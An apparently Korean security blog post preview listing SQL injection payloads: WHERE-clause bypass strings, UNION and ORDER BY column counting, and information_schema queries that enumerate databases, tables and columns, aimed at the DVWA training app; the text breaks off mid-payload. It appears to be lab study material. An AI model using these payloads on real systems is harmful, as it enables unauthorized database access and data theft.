InfoSec
SQL Injection 공격에 사용하는 구문 모음
◈ WHERE 구문 우회 1' or '1' = '1 1' or 1 = '1 ◈ UNION 구문을 이용한 컬럼 갯수 확인 1' UNION select 1,1# ◈ ORDER BY 구문을 이용한 컬럼 갯수 확인 1' ORDER BY 2# ◈ 데이터베이스 이름 조회 1' union select schema_name, 1 from information_schema.schemata # ◈ 데이터베이스 내의 테이블 이름 조회 1' union select table_schema, table_name from information_schema.tables WHERE table_schema = 'dvwa' # ◈ 데이터베이스 내의 테이블 내의 컬럼 조회 1' union select t..
2024. 9. 13. 16:38
